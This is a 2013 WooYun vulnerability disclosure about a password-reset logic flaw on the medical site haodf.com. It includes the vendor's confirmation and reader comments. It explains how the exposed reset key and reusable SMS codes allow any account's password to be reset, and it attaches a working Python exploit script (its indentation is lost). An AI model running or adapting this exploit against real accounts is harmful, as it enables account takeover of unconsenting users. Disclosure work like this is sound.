当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-018136

漏洞标题:好大夫重置任意用户,附EXP

相关厂商:好大夫在线

漏洞作者: fox

提交时间:2013-01-31 00:05

修复时间:2013-03-17 00:06

公开时间:2013-03-17 00:06

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-01-31: 细节已通知厂商并且等待厂商处理中
2013-01-31: 厂商已经确认,细节仅向厂商公开
2013-02-10: 细节向核心白帽子及相关领域专家公开
2013-02-20: 细节向普通白帽子公开
2013-03-02: 细节向实习白帽子公开
2013-03-17: 细节向公众公开

简要描述:

礼物求给力

详细说明:

1、通过手机号重置

http://passport.haodf.com/user/resetpassword


通过此网址,可用邮箱或手机号找回密码
当我们选择手机号找密码时,网页跳转到如下地址,要求输入用户名和手机验证码

http://passport.haodf.com/user/sendpasswordsucc?type=mobile&username=xxxxxxx


可以看出,这时用户名会直接出现在网页地址栏内,且验证码可以绕过
(BTW,手机验证码可以反复使用, 似乎在很长一段时间内都不会过期)
查看网页源代码,找到

<input name="key" type="hidden" id="key" value="DE4rXvQaMCGXBC3UMxQRXXXXXXXXNCEnO8iGq8jhOf0b" />


这个key就是用来重置密码的key
然后构造一个post请求,地址为

http://passport.haodf.com/user/confirmpassword


数据为

password=123123&confirmPassword=123123&key=XXXXXX


即可重置该用户密码
2、通过用户名重置
网址本身没用提供此功能, 但可以从上面的中间网址进入,即可通过用户名重置

http://passport.haodf.com/user/sendpasswordsucc?type=mobile&username=xxxxxxx


3、通过邮箱重置
类似1中通过手机号重置

漏洞证明:

附一个python写的简单EXP

#encoding=utf8
username = 'init'
class MyHTTPRedirectHandler(urllib2.HTTPRedirectHandler):
def http_error_302(self, req, fp, code, msg, httpmsg):
for header in httpmsg.headers:
if header.count('username=') > 0:
global username
username = header[header.index('username=')+9: header.index('\r\n')]
return urllib2.HTTPRedirectHandler.http_error_302(self, req, fp, code, msg, httpmsg)
import urllib, urllib2, ConfigParser, time, winsound
def ResetByPhone(phone):
resetpwd_url = 'http://passport.haodf.com/user/resetpassword'
submit_url = 'http://passport.haodf.com/user/confirmpassword'
req = urllib2.Request(resetpwd_url, 'input=%s' % phone)
opener = urllib2.build_opener(MyHTTPRedirectHandler)
response = opener.open(req)
the_page = response.read()
key = the_page[ the_page.index('id="key"')+16 : ]
key = key[: key.index('"')]
req = urllib2.Request(submit_url, 'password=%s&confirmPassword=%s&key=%s' % (phone,phone,key))
response = urllib2.urlopen(req)
#print response.read()
def ResetByUsername(uname):
resetpwd_url = 'http://passport.haodf.com/user/sendpasswordsucc'
submit_url = 'http://passport.haodf.com/user/confirmpassword'
req = urllib2.Request(resetpwd_url, 'type=mobile&username=%s' % uname)
response = urllib2.urlopen(req)
the_page = response.read()
key = the_page[ the_page.index('id="key"')+16 : ]
key = key[: key.index('"')]
req = urllib2.Request(submit_url, 'password=%s&confirmPassword=%s&key=%s' % (uname,uname,key))
response = urllib2.urlopen(req)
#print response.read()
ResetByPhone('13912341234')
ResetByUsername('testuser')


1.jpg


2.jpg


修复方案:

把key隐藏
设置验证码失效机制

版权声明:转载请注明来源 fox@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2013-01-31 11:47

厂商回复:

和之前重置密码的漏洞类似,不过不是同一个点,我们正在改,不过还是鼓励,毕竟是独立发现的问题。

最新状态:

暂无


漏洞评价:

评论

  1. 2013-01-31 09:29 | 带馅儿馒头 ( 普通白帽子 | Rank:1278 漏洞数:143 | 心在,梦在)

    不会是重复的吧,

  2. 2013-01-31 09:34 | 疯子 ( 普通白帽子 | Rank:242 漏洞数:42 | 世人笑我太疯癫,我笑世人看不穿~)

    还有EXP?好东西!!

  3. 2013-01-31 09:37 | 带馅儿馒头 ( 普通白帽子 | Rank:1278 漏洞数:143 | 心在,梦在)

    @疯子 哈哈,有可能就是一条简单的URL哟~

  4. 2013-01-31 11:41 | fox ( 普通白帽子 | Rank:159 漏洞数:16 | fox)

    之前有一个 WooYun: 我是如何重置好大夫任意用户密码的 不知道是不是重复的,看厂商怎么说吧

  5. 2013-01-31 12:02 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @fox 亮点再带exp